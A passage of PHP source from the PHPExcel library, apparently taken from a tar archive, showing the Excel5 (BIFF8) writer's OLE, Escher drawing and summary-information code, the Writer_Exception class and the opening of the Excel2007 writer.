$IDCLs; /** * Basic OLE object summary information * * @var array */ private $summaryInformation; /** * Extended OLE object document summary information * * @var array */ private $documentSummaryInformation; /** * Create a new PHPExcel_Writer_Excel5 * * @param PHPExcel $phpExcel PHPExcel object */ public function __construct(PHPExcel $phpExcel) { $this->phpExcel = $phpExcel; $this->parser = new PHPExcel_Writer_Excel5_Parser(); } /** * Save PHPExcel to file * * @param string $pFilename * @throws PHPExcel_Writer_Exception */ public function save($pFilename = null) { // garbage collect $this->phpExcel->garbageCollect(); $saveDebugLog = PHPExcel_Calculation::getInstance($this->phpExcel)->getDebugLog()->getWriteDebugLog(); PHPExcel_Calculation::getInstance($this->phpExcel)->getDebugLog()->setWriteDebugLog(false); $saveDateReturnType = PHPExcel_Calculation_Functions::getReturnDateType(); PHPExcel_Calculation_Functions::setReturnDateType(PHPExcel_Calculation_Functions::RETURNDATE_EXCEL); // initialize colors array $this->colors = array(); // Initialise workbook writer $this->writerWorkbook = new PHPExcel_Writer_Excel5_Workbook($this->phpExcel, $this->strTotal, $this->strUnique, $this->strTable, $this->colors, $this->parser); // Initialise worksheet writers $countSheets = $this->phpExcel->getSheetCount(); for ($i = 0; $i < $countSheets; ++$i) { $this->writerWorksheets[$i] = new PHPExcel_Writer_Excel5_Worksheet($this->strTotal, $this->strUnique, $this->strTable, $this->colors, $this->parser, $this->preCalculateFormulas, $this->phpExcel->getSheet($i)); } // build Escher objects. Escher objects for workbooks needs to be build before Escher object for workbook. $this->buildWorksheetEschers(); $this->buildWorkbookEscher(); // add 15 identical cell style Xfs // for now, we use the first cellXf instead of cellStyleXf $cellXfCollection = $this->phpExcel->getCellXfCollection(); for ($i = 0; $i < 15; ++$i) { $this->writerWorkbook->addXfWriter($cellXfCollection[0], true); } // add all the cell Xfs foreach ($this->phpExcel->getCellXfCollection() as $style) { $this->writerWorkbook->addXfWriter($style, false); } // add fonts from rich text eleemnts for ($i = 0; $i < $countSheets; ++$i) { foreach ($this->writerWorksheets[$i]->phpSheet->getCellCollection() as $cellID) { $cell = $this->writerWorksheets[$i]->phpSheet->getCell($cellID); $cVal = $cell->getValue(); if ($cVal instanceof PHPExcel_RichText) { $elements = $cVal->getRichTextElements(); foreach ($elements as $element) { if ($element instanceof PHPExcel_RichText_Run) { $font = $element->getFont(); $this->writerWorksheets[$i]->fontHashIndex[$font->getHashCode()] = $this->writerWorkbook->addFont($font); } } } } } // initialize OLE file $workbookStreamName = 'Workbook'; $OLE = new PHPExcel_Shared_OLE_PPS_File(PHPExcel_Shared_OLE::Asc2Ucs($workbookStreamName)); // Write the worksheet streams before the global workbook stream, // because the byte sizes of these are needed in the global workbook stream $worksheetSizes = array(); for ($i = 0; $i < $countSheets; ++$i) { $this->writerWorksheets[$i]->close(); $worksheetSizes[] = $this->writerWorksheets[$i]->_datasize; } // add binary data for global workbook stream $OLE->append($this->writerWorkbook->writeWorkbook($worksheetSizes)); // add binary data for sheet streams for ($i = 0; $i < $countSheets; ++$i) { $OLE->append($this->writerWorksheets[$i]->getData()); } $this->documentSummaryInformation = $this->writeDocumentSummaryInformation(); // initialize OLE Document Summary Information if (isset($this->documentSummaryInformation) && !empty($this->documentSummaryInformation)) { $OLE_DocumentSummaryInformation = new PHPExcel_Shared_OLE_PPS_File(PHPExcel_Shared_OLE::Asc2Ucs(chr(5) . 'DocumentSummaryInformation')); $OLE_DocumentSummaryInformation->append($this->documentSummaryInformation); } $this->summaryInformation = $this->writeSummaryInformation(); // initialize OLE Summary Information if (isset($this->summaryInformation) && !empty($this->summaryInformation)) { $OLE_SummaryInformation = new PHPExcel_Shared_OLE_PPS_File(PHPExcel_Shared_OLE::Asc2Ucs(chr(5) . 'SummaryInformation')); $OLE_SummaryInformation->append($this->summaryInformation); } // define OLE Parts $arrRootData = array($OLE); // initialize OLE Properties file if (isset($OLE_SummaryInformation)) { $arrRootData[] = $OLE_SummaryInformation; } // initialize OLE Extended Properties file if (isset($OLE_DocumentSummaryInformation)) { $arrRootData[] = $OLE_DocumentSummaryInformation; } $root = new PHPExcel_Shared_OLE_PPS_Root(time(), time(), $arrRootData); // save the OLE file $res = $root->save($pFilename); PHPExcel_Calculation_Functions::setReturnDateType($saveDateReturnType); PHPExcel_Calculation::getInstance($this->phpExcel)->getDebugLog()->setWriteDebugLog($saveDebugLog); } /** * Set temporary storage directory * * @deprecated * @param string $pValue Temporary storage directory * @throws PHPExcel_Writer_Exception when directory does not exist * @return PHPExcel_Writer_Excel5 */ public function setTempDir($pValue = '') { return $this; } /** * Build the Worksheet Escher objects * */ private function buildWorksheetEschers() { // 1-based index to BstoreContainer $blipIndex = 0; $lastReducedSpId = 0; $lastSpId = 0; foreach ($this->phpExcel->getAllsheets() as $sheet) { // sheet index $sheetIndex = $sheet->getParent()->getIndex($sheet); $escher = null; // check if there are any shapes for this sheet $filterRange = $sheet->getAutoFilter()->getRange(); if (count($sheet->getDrawingCollection()) == 0 && empty($filterRange)) { continue; } // create intermediate Escher object $escher = new PHPExcel_Shared_Escher(); // dgContainer $dgContainer = new PHPExcel_Shared_Escher_DgContainer(); // set the drawing index (we use sheet index + 1) $dgId = $sheet->getParent()->getIndex($sheet) + 1; $dgContainer->setDgId($dgId); $escher->setDgContainer($dgContainer); // spgrContainer $spgrContainer = new PHPExcel_Shared_Escher_DgContainer_SpgrContainer(); $dgContainer->setSpgrContainer($spgrContainer); // add one shape which is the group shape $spContainer = new PHPExcel_Shared_Escher_DgContainer_SpgrContainer_SpContainer(); $spContainer->setSpgr(true); $spContainer->setSpType(0); $spContainer->setSpId(($sheet->getParent()->getIndex($sheet) + 1) << 10); $spgrContainer->addChild($spContainer); // add the shapes $countShapes[$sheetIndex] = 0; // count number of shapes (minus group shape), in sheet foreach ($sheet->getDrawingCollection() as $drawing) { ++$blipIndex; ++$countShapes[$sheetIndex]; // add the shape $spContainer = new PHPExcel_Shared_Escher_DgContainer_SpgrContainer_SpContainer(); // set the shape type $spContainer->setSpType(0x004B); // set the shape flag $spContainer->setSpFlag(0x02); // set the shape index (we combine 1-based sheet index and $countShapes to create unique shape index) $reducedSpId = $countShapes[$sheetIndex]; $spId = $reducedSpId | ($sheet->getParent()->getIndex($sheet) + 1) << 10; $spContainer->setSpId($spId); // keep track of last reducedSpId $lastReducedSpId = $reducedSpId; // keep track of last spId $lastSpId = $spId; // set the BLIP index $spContainer->setOPT(0x4104, $blipIndex); // set coordinates and offsets, client anchor $coordinates = $drawing->getCoordinates(); $offsetX = $drawing->getOffsetX(); $offsetY = $drawing->getOffsetY(); $width = $drawing->getWidth(); $height = $drawing->getHeight(); $twoAnchor = PHPExcel_Shared_Excel5::oneAnchor2twoAnchor($sheet, $coordinates, $offsetX, $offsetY, $width, $height); $spContainer->setStartCoordinates($twoAnchor['startCoordinates']); $spContainer->setStartOffsetX($twoAnchor['startOffsetX']); $spContainer->setStartOffsetY($twoAnchor['startOffsetY']); $spContainer->setEndCoordinates($twoAnchor['endCoordinates']); $spContainer->setEndOffsetX($twoAnchor['endOffsetX']); $spContainer->setEndOffsetY($twoAnchor['endOffsetY']); $spgrContainer->addChild($spContainer); } // AutoFilters if (!empty($filterRange)) { $rangeBounds = PHPExcel_Cell::rangeBoundaries($filterRange); $iNumColStart = $rangeBounds[0][0]; $iNumColEnd = $rangeBounds[1][0]; $iInc = $iNumColStart; while ($iInc <= $iNumColEnd) { ++$countShapes[$sheetIndex]; // create an Drawing Object for the dropdown $oDrawing = new PHPExcel_Worksheet_BaseDrawing(); // get the coordinates of drawing $cDrawing = PHPExcel_Cell::stringFromColumnIndex($iInc - 1) . $rangeBounds[0][1]; $oDrawing->setCoordinates($cDrawing); $oDrawing->setWorksheet($sheet); // add the shape $spContainer = new PHPExcel_Shared_Escher_DgContainer_SpgrContainer_SpContainer(); // set the shape type $spContainer->setSpType(0x00C9); // set the shape flag $spContainer->setSpFlag(0x01); // set the shape index (we combine 1-based sheet index and $countShapes to create unique shape index) $reducedSpId = $countShapes[$sheetIndex]; $spId = $reducedSpId | ($sheet->getParent()->getIndex($sheet) + 1) << 10; $spContainer->setSpId($spId); // keep track of last reducedSpId $lastReducedSpId = $reducedSpId; // keep track of last spId $lastSpId = $spId; $spContainer->setOPT(0x007F, 0x01040104); // Protection -> fLockAgainstGrouping $spContainer->setOPT(0x00BF, 0x00080008); // Text -> fFitTextToShape $spContainer->setOPT(0x01BF, 0x00010000); // Fill Style -> fNoFillHitTest $spContainer->setOPT(0x01FF, 0x00080000); // Line Style -> fNoLineDrawDash $spContainer->setOPT(0x03BF, 0x000A0000); // Group Shape -> fPrint // set coordinates and offsets, client anchor $endCoordinates = PHPExcel_Cell::stringFromColumnIndex(PHPExcel_Cell::stringFromColumnIndex($iInc - 1)); $endCoordinates .= $rangeBounds[0][1] + 1; $spContainer->setStartCoordinates($cDrawing); $spContainer->setStartOffsetX(0); $spContainer->setStartOffsetY(0); $spContainer->setEndCoordinates($endCoordinates); $spContainer->setEndOffsetX(0); $spContainer->setEndOffsetY(0); $spgrContainer->addChild($spContainer); $iInc++; } } // identifier clusters, used for workbook Escher object $this->IDCLs[$dgId] = $lastReducedSpId; // set last shape index $dgContainer->setLastSpId($lastSpId); // set the Escher object $this->writerWorksheets[$sheetIndex]->setEscher($escher); } } /** * Build the Escher object corresponding to the MSODRAWINGGROUP record */ private function buildWorkbookEscher() { $escher = null; // any drawings in this workbook? $found = false; foreach ($this->phpExcel->getAllSheets() as $sheet) { if (count($sheet->getDrawingCollection()) > 0) { $found = true; break; } } // nothing to do if there are no drawings if (!$found) { return; } // if we reach here, then there are drawings in the workbook $escher = new PHPExcel_Shared_Escher(); // dggContainer $dggContainer = new PHPExcel_Shared_Escher_DggContainer(); $escher->setDggContainer($dggContainer); // set IDCLs (identifier clusters) $dggContainer->setIDCLs($this->IDCLs); // this loop is for determining maximum shape identifier of all drawing $spIdMax = 0; $totalCountShapes = 0; $countDrawings = 0; foreach ($this->phpExcel->getAllsheets() as $sheet) { $sheetCountShapes = 0; // count number of shapes (minus group shape), in sheet if (count($sheet->getDrawingCollection()) > 0) { ++$countDrawings; foreach ($sheet->getDrawingCollection() as $drawing) { ++$sheetCountShapes; ++$totalCountShapes; $spId = $sheetCountShapes | ($this->phpExcel->getIndex($sheet) + 1) << 10; $spIdMax = max($spId, $spIdMax); } } } $dggContainer->setSpIdMax($spIdMax + 1); $dggContainer->setCDgSaved($countDrawings); $dggContainer->setCSpSaved($totalCountShapes + $countDrawings); // total number of shapes incl. one group shapes per drawing // bstoreContainer $bstoreContainer = new PHPExcel_Shared_Escher_DggContainer_BstoreContainer(); $dggContainer->setBstoreContainer($bstoreContainer); // the BSE's (all the images) foreach ($this->phpExcel->getAllsheets() as $sheet) { foreach ($sheet->getDrawingCollection() as $drawing) { if ($drawing instanceof PHPExcel_Worksheet_Drawing) { $filename = $drawing->getPath(); list($imagesx, $imagesy, $imageFormat) = getimagesize($filename); switch ($imageFormat) { case 1: // GIF, not supported by BIFF8, we convert to PNG $blipType = PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE::BLIPTYPE_PNG; ob_start(); imagepng(imagecreatefromgif($filename)); $blipData = ob_get_contents(); ob_end_clean(); break; case 2: // JPEG $blipType = PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE::BLIPTYPE_JPEG; $blipData = file_get_contents($filename); break; case 3: // PNG $blipType = PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE::BLIPTYPE_PNG; $blipData = file_get_contents($filename); break; case 6: // Windows DIB (BMP), we convert to PNG $blipType = PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE::BLIPTYPE_PNG; ob_start(); imagepng(PHPExcel_Shared_Drawing::imagecreatefrombmp($filename)); $blipData = ob_get_contents(); ob_end_clean(); break; default: continue 2; } $blip = new PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE_Blip(); $blip->setData($blipData); $BSE = new PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE(); $BSE->setBlipType($blipType); $BSE->setBlip($blip); $bstoreContainer->addBSE($BSE); } elseif ($drawing instanceof PHPExcel_Worksheet_MemoryDrawing) { switch ($drawing->getRenderingFunction()) { case PHPExcel_Worksheet_MemoryDrawing::RENDERING_JPEG: $blipType = PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE::BLIPTYPE_JPEG; $renderingFunction = 'imagejpeg'; break; case PHPExcel_Worksheet_MemoryDrawing::RENDERING_GIF: case PHPExcel_Worksheet_MemoryDrawing::RENDERING_PNG: case PHPExcel_Worksheet_MemoryDrawing::RENDERING_DEFAULT: $blipType = PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE::BLIPTYPE_PNG; $renderingFunction = 'imagepng'; break; } ob_start(); call_user_func($renderingFunction, $drawing->getImageResource()); $blipData = ob_get_contents(); ob_end_clean(); $blip = new PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE_Blip(); $blip->setData($blipData); $BSE = new PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE(); $BSE->setBlipType($blipType); $BSE->setBlip($blip); $bstoreContainer->addBSE($BSE); } } } // Set the Escher object $this->writerWorkbook->setEscher($escher); } /** * Build the OLE Part for DocumentSummary Information * @return string */ private function writeDocumentSummaryInformation() { // offset: 0; size: 2; must be 0xFE 0xFF (UTF-16 LE byte order mark) $data = pack('v', 0xFFFE); // offset: 2; size: 2; $data .= pack('v', 0x0000); // offset: 4; size: 2; OS version $data .= pack('v', 0x0106); // offset: 6; size: 2; OS indicator $data .= pack('v', 0x0002); // offset: 8; size: 16 $data .= pack('VVVV', 0x00, 0x00, 0x00, 0x00); // offset: 24; size: 4; section count $data .= pack('V', 0x0001); // offset: 28; size: 16; first section's class id: 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae $data .= pack('vvvvvvvv', 0xD502, 0xD5CD, 0x2E9C, 0x101B, 0x9793, 0x0008, 0x2C2B, 0xAEF9); // offset: 44; size: 4; offset of the start $data .= pack('V', 0x30); // SECTION $dataSection = array(); $dataSection_NumProps = 0; $dataSection_Summary = ''; $dataSection_Content = ''; // GKPIDDSI_CODEPAGE: CodePage $dataSection[] = array('summary'=> array('pack' => 'V', 'data' => 0x01), 'offset' => array('pack' => 'V'), 'type' => array('pack' => 'V', 'data' => 0x02), // 2 byte signed integer 'data' => array('data' => 1252)); $dataSection_NumProps++; // GKPIDDSI_CATEGORY : Category if ($this->phpExcel->getProperties()->getCategory()) { $dataProp = $this->phpExcel->getProperties()->getCategory(); $dataSection[] = array('summary'=> array('pack' => 'V', 'data' => 0x02), 'offset' => array('pack' => 'V'), 'type' => array('pack' => 'V', 'data' => 0x1E), 'data' => array('data' => $dataProp, 'length' => strlen($dataProp))); $dataSection_NumProps++; } // GKPIDDSI_VERSION :Version of the application that wrote the property storage $dataSection[] = array('summary'=> array('pack' => 'V', 'data' => 0x17), 'offset' => array('pack' => 'V'), 'type' => array('pack' => 'V', 'data' => 0x03), 'data' => array('pack' => 'V', 'data' => 0x000C0000)); $dataSection_NumProps++; // GKPIDDSI_SCALE : FALSE $dataSection[] = array('summary'=> array('pack' => 'V', 'data' => 0x0B), 'offset' => array('pack' => 'V'), 'type' => array('pack' => 'V', 'data' => 0x0B), 'data' => array('data' => false)); $dataSection_NumProps++; // GKPIDDSI_LINKSDIRTY : True if any of the values for the linked properties have changed outside of the application $dataSection[] = array('summary'=> array('pack' => 'V', 'data' => 0x10), 'offset' => array('pack' => 'V'), 'type' => array('pack' => 'V', 'data' => 0x0B), 'data' => array('data' => false)); $dataSection_NumProps++; // GKPIDDSI_SHAREDOC : FALSE $dataSection[] = array('summary'=> array('pack' => 'V', 'data' => 0x13), 'offset' => array('pack' => 'V'), 'type' => array('pack' => 'V', 'data' => 0x0B), 'data' => array('data' => false)); $dataSection_NumProps++; // GKPIDDSI_HYPERLINKSCHANGED : True if any of the values for the _PID_LINKS (hyperlink text) have changed outside of the application $dataSection[] = array('summary'=> array('pack' => 'V', 'data' => 0x16), 'offset' => array('pack' => 'V'), 'type' => array('pack' => 'V', 'data' => 0x0B), 'data' => array('data' => false)); $dataSection_NumProps++; // GKPIDDSI_DOCSPARTS // MS-OSHARED p75 (2.3.3.2.2.1) // Structure is VtVecUnalignedLpstrValue (2.3.3.1.9) // cElements $dataProp = pack('v', 0x0001); $dataProp .= pack('v', 0x0000); // array of UnalignedLpstr // cch $dataProp .= pack('v', 0x000A); $dataProp .= pack('v', 0x0000); // value $dataProp .= 'Worksheet'.chr(0); $dataSection[] = array('summary'=> array('pack' => 'V', 'data' => 0x0D), 'offset' => array('pack' => 'V'), 'type' => array('pack' => 'V', 'data' => 0x101E), 'data' => array('data' => $dataProp, 'length' => strlen($dataProp))); $dataSection_NumProps++; // GKPIDDSI_HEADINGPAIR // VtVecHeadingPairValue // cElements $dataProp = pack('v', 0x0002); $dataProp .= pack('v', 0x0000); // Array of vtHeadingPair // vtUnalignedString - headingString // stringType $dataProp .= pack('v', 0x001E); // padding $dataProp .= pack('v', 0x0000); // UnalignedLpstr // cch $dataProp .= pack('v', 0x0013); $dataProp .= pack('v', 0x0000); // value $dataProp .= 'Feuilles de calcul'; // vtUnalignedString - headingParts // wType : 0x0003 = 32 bit signed integer $dataProp .= pack('v', 0x0300); // padding $dataProp .= pack('v', 0x0000); // value $dataProp .= pack('v', 0x0100); $dataProp .= pack('v', 0x0000); $dataProp .= pack('v', 0x0000); $dataProp .= pack('v', 0x0000); $dataSection[] = array('summary'=> array('pack' => 'V', 'data' => 0x0C), 'offset' => array('pack' => 'V'), 'type' => array('pack' => 'V', 'data' => 0x100C), 'data' => array('data' => $dataProp, 'length' => strlen($dataProp))); $dataSection_NumProps++; // 4 Section Length // 4 Property count // 8 * $dataSection_NumProps (8 = ID (4) + OffSet(4)) $dataSection_Content_Offset = 8 + $dataSection_NumProps * 8; foreach ($dataSection as $dataProp) { // Summary $dataSection_Summary .= pack($dataProp['summary']['pack'], $dataProp['summary']['data']); // Offset $dataSection_Summary .= pack($dataProp['offset']['pack'], $dataSection_Content_Offset); // DataType $dataSection_Content .= pack($dataProp['type']['pack'], $dataProp['type']['data']); // Data if ($dataProp['type']['data'] == 0x02) { // 2 byte signed integer $dataSection_Content .= pack('V', $dataProp['data']['data']); $dataSection_Content_Offset += 4 + 4; } elseif ($dataProp['type']['data'] == 0x03) { // 4 byte signed integer $dataSection_Content .= pack('V', $dataProp['data']['data']); $dataSection_Content_Offset += 4 + 4; } elseif ($dataProp['type']['data'] == 0x0B) { // Boolean if ($dataProp['data']['data'] == false) { $dataSection_Content .= pack('V', 0x0000); } else { $dataSection_Content .= pack('V', 0x0001); } $dataSection_Content_Offset += 4 + 4; } elseif ($dataProp['type']['data'] == 0x1E) { // null-terminated string prepended by dword string length // Null-terminated string $dataProp['data']['data'] .= chr(0); $dataProp['data']['length'] += 1; // Complete the string with null string for being a %4 $dataProp['data']['length'] = $dataProp['data']['length'] + ((4 - $dataProp['data']['length'] % 4)==4 ? 0 : (4 - $dataProp['data']['length'] % 4)); $dataProp['data']['data'] = str_pad($dataProp['data']['data'], $dataProp['data']['length'], chr(0), STR_PAD_RIGHT); $dataSection_Content .= pack('V', $dataProp['data']['length']); $dataSection_Content .= $dataProp['data']['data']; $dataSection_Content_Offset += 4 + 4 + strlen($dataProp['data']['data']); } elseif ($dataProp['type']['data'] == 0x40) { // Filetime (64-bit value representing the number of 100-nanosecond intervals since January 1, 1601) $dataSection_Content .= $dataProp['data']['data']; $dataSection_Content_Offset += 4 + 8; } else { // Data Type Not Used at the moment $dataSection_Content .= $dataProp['data']['data']; $dataSection_Content_Offset += 4 + $dataProp['data']['length']; } } // Now $dataSection_Content_Offset contains the size of the content // section header // offset: $secOffset; size: 4; section length // + x Size of the content (summary + content) $data .= pack('V', $dataSection_Content_Offset); // offset: $secOffset+4; size: 4; property count $data .= pack('V', $dataSection_NumProps); // Section Summary $data .= $dataSection_Summary; // Section Content $data .= $dataSection_Content; return $data; } /** * Build the OLE Part for Summary Information * @return string */ private function writeSummaryInformation() { // offset: 0; size: 2; must be 0xFE 0xFF (UTF-16 LE byte order mark) $data = pack('v', 0xFFFE); // offset: 2; size: 2; $data .= pack('v', 0x0000); // offset: 4; size: 2; OS version $data .= pack('v', 0x0106); // offset: 6; size: 2; OS indicator $data .= pack('v', 0x0002); // offset: 8; size: 16 $data .= pack('VVVV', 0x00, 0x00, 0x00, 0x00); // offset: 24; size: 4; section count $data .= pack('V', 0x0001); // offset: 28; size: 16; first section's class id: e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 $data .= pack('vvvvvvvv', 0x85E0, 0xF29F, 0x4FF9, 0x1068, 0x91AB, 0x0008, 0x272B, 0xD9B3); // offset: 44; size: 4; offset of the start $data .= pack('V', 0x30); // SECTION $dataSection = array(); $dataSection_NumProps = 0; $dataSection_Summary = ''; $dataSection_Content = ''; // CodePage : CP-1252 $dataSection[] = array('summary'=> array('pack' => 'V', 'data' => 0x01), 'offset' => array('pack' => 'V'), 'type' => array('pack' => 'V', 'data' => 0x02), // 2 byte signed integer 'data' => array('data' => 1252)); $dataSection_NumProps++; // Title if ($this->phpExcel->getProperties()->getTitle()) { $dataProp = $this->phpExcel->getProperties()->getTitle(); $dataSection[] = array('summary'=> array('pack' => 'V', 'data' => 0x02), 'offset' => array('pack' => 'V'), 'type' => array('pack' => 'V', 'data' => 0x1E), // null-terminated string prepended by dword string length 'data' => array('data' => $dataProp, 'length' => strlen($dataProp))); $dataSection_NumProps++; } // Subject if ($this->phpExcel->getProperties()->getSubject()) { $dataProp = $this->phpExcel->getProperties()->getSubject(); $dataSection[] = array('summary'=> array('pack' => 'V', 'data' => 0x03), 'offset' => array('pack' => 'V'), 'type' => array('pack' => 'V', 'data' => 0x1E), // null-terminated string prepended by dword string length 'data' => array('data' => $dataProp, 'length' => strlen($dataProp))); $dataSection_NumProps++; } // Author (Creator) if ($this->phpExcel->getProperties()->getCreator()) { $dataProp = $this->phpExcel->getProperties()->getCreator(); $dataSection[] = array('summary'=> array('pack' => 'V', 'data' => 0x04), 'offset' => array('pack' => 'V'), 'type' => array('pack' => 'V', 'data' => 0x1E), // null-terminated string prepended by dword string length 'data' => array('data' => $dataProp, 'length' => strlen($dataProp))); $dataSection_NumProps++; } // Keywords if ($this->phpExcel->getProperties()->getKeywords()) { $dataProp = $this->phpExcel->getProperties()->getKeywords(); $dataSection[] = array('summary'=> array('pack' => 'V', 'data' => 0x05), 'offset' => array('pack' => 'V'), 'type' => array('pack' => 'V', 'data' => 0x1E), // null-terminated string prepended by dword string length 'data' => array('data' => $dataProp, 'length' => strlen($dataProp))); $dataSection_NumProps++; } // Comments (Description) if ($this->phpExcel->getProperties()->getDescription()) { $dataProp = $this->phpExcel->getProperties()->getDescription(); $dataSection[] = array('summary'=> array('pack' => 'V', 'data' => 0x06), 'offset' => array('pack' => 'V'), 'type' => array('pack' => 'V', 'data' => 0x1E), // null-terminated string prepended by dword string length 'data' => array('data' => $dataProp, 'length' => strlen($dataProp))); $dataSection_NumProps++; } // Last Saved By (LastModifiedBy) if ($this->phpExcel->getProperties()->getLastModifiedBy()) { $dataProp = $this->phpExcel->getProperties()->getLastModifiedBy(); $dataSection[] = array('summary'=> array('pack' => 'V', 'data' => 0x08), 'offset' => array('pack' => 'V'), 'type' => array('pack' => 'V', 'data' => 0x1E), // null-terminated string prepended by dword string length 'data' => array('data' => $dataProp, 'length' => strlen($dataProp))); $dataSection_NumProps++; } // Created Date/Time if ($this->phpExcel->getProperties()->getCreated()) { $dataProp = $this->phpExcel->getProperties()->getCreated(); $dataSection[] = array('summary'=> array('pack' => 'V', 'data' => 0x0C), 'offset' => array('pack' => 'V'), 'type' => array('pack' => 'V', 'data' => 0x40), // Filetime (64-bit value representing the number of 100-nanosecond intervals since January 1, 1601) 'data' => array('data' => PHPExcel_Shared_OLE::LocalDate2OLE($dataProp))); $dataSection_NumProps++; } // Modified Date/Time if ($this->phpExcel->getProperties()->getModified()) { $dataProp = $this->phpExcel->getProperties()->getModified(); $dataSection[] = array('summary'=> array('pack' => 'V', 'data' => 0x0D), 'offset' => array('pack' => 'V'), 'type' => array('pack' => 'V', 'data' => 0x40), // Filetime (64-bit value representing the number of 100-nanosecond intervals since January 1, 1601) 'data' => array('data' => PHPExcel_Shared_OLE::LocalDate2OLE($dataProp))); $dataSection_NumProps++; } // Security $dataSection[] = array('summary'=> array('pack' => 'V', 'data' => 0x13), 'offset' => array('pack' => 'V'), 'type' => array('pack' => 'V', 'data' => 0x03), // 4 byte signed integer 'data' => array('data' => 0x00)); $dataSection_NumProps++; // 4 Section Length // 4 Property count // 8 * $dataSection_NumProps (8 = ID (4) + OffSet(4)) $dataSection_Content_Offset = 8 + $dataSection_NumProps * 8; foreach ($dataSection as $dataProp) { // Summary $dataSection_Summary .= pack($dataProp['summary']['pack'], $dataProp['summary']['data']); // Offset $dataSection_Summary .= pack($dataProp['offset']['pack'], $dataSection_Content_Offset); // DataType $dataSection_Content .= pack($dataProp['type']['pack'], $dataProp['type']['data']); // Data if ($dataProp['type']['data'] == 0x02) { // 2 byte signed integer $dataSection_Content .= pack('V', $dataProp['data']['data']); $dataSection_Content_Offset += 4 + 4; } elseif ($dataProp['type']['data'] == 0x03) { // 4 byte signed integer $dataSection_Content .= pack('V', $dataProp['data']['data']); $dataSection_Content_Offset += 4 + 4; } elseif ($dataProp['type']['data'] == 0x1E) { // null-terminated string prepended by dword string length // Null-terminated string $dataProp['data']['data'] .= chr(0); $dataProp['data']['length'] += 1; // Complete the string with null string for being a %4 $dataProp['data']['length'] = $dataProp['data']['length'] + ((4 - $dataProp['data']['length'] % 4)==4 ? 0 : (4 - $dataProp['data']['length'] % 4)); $dataProp['data']['data'] = str_pad($dataProp['data']['data'], $dataProp['data']['length'], chr(0), STR_PAD_RIGHT); $dataSection_Content .= pack('V', $dataProp['data']['length']); $dataSection_Content .= $dataProp['data']['data']; $dataSection_Content_Offset += 4 + 4 + strlen($dataProp['data']['data']); } elseif ($dataProp['type']['data'] == 0x40) { // Filetime (64-bit value representing the number of 100-nanosecond intervals since January 1, 1601) $dataSection_Content .= $dataProp['data']['data']; $dataSection_Content_Offset += 4 + 8; } else { // Data Type Not Used at the moment } } // Now $dataSection_Content_Offset contains the size of the content // section header // offset: $secOffset; size: 4; section length // + x Size of the content (summary + content) $data .= pack('V', $dataSection_Content_Offset); // offset: $secOffset+4; size: 4; property count $data .= pack('V', $dataSection_NumProps); // Section Summary $data .= $dataSection_Summary; // Section Content $data .= $dataSection_Content; return $data; } } PHPExcel/Writer/Exception.php 0000644 00000003012 14642534107 0012101 0 ustar 00 <?php /** * PHPExcel_Writer_Exception * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_Exception extends PHPExcel_Exception { /** * Error handler callback * * @param mixed $code * @param mixed $string * @param mixed $file * @param mixed $line * @param mixed $context */ public static function errorHandlerCallback($code, $string, $file, $line, $context) { $e = new self($string, $code); $e->line = $line; $e->file = $file; throw $e; } } PHPExcel/Writer/Excel2007.php 0000644 00000052754 14642534107 0011535 0 ustar 00 <?php /** * PHPExcel_Writer_Excel2007 * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_Excel2007 extends PHPExcel_Writer_Abstract implements PHPExcel_Writer_IWriter { /** * Pre-calculate formulas * Forces PHPExcel to recalculate all formulae in a workbook when saving, so that the pre-calculated values are * immediately available to MS Excel or other office spreadsheet viewer when opening the file * * Overrides the default TRUE for this specific writer for performance reasons * * @var boolean */ protected $preCalculateFormulas = false; /** * Office2003 compatibility * * @var boolean */ private $office2003compatibility = false; /** * Private writer parts * * @var PHPExcel_Writer_Excel2007_WriterPart[] */ private $writerParts = array(); /** * Private PHPExcel * * @var PHPExcel */ private $spreadSheet; /** * Private string table * * @var string[] */ private $stringTable = array(); /** * Private unique PHPExcel_Style_Conditional HashTable * * @var PHPExcel_HashTable */ private $stylesConditionalHashTable; /** * Private unique PHPExcel_Style HashTable * * @var PHPExcel_HashTable */ private $styleHashTable; /** * Private unique PHPExcel_Style_Fill HashTable * * @var PHPExcel_HashTable */ private $fillHashTable; /** * Private unique PHPExcel_Style_Font 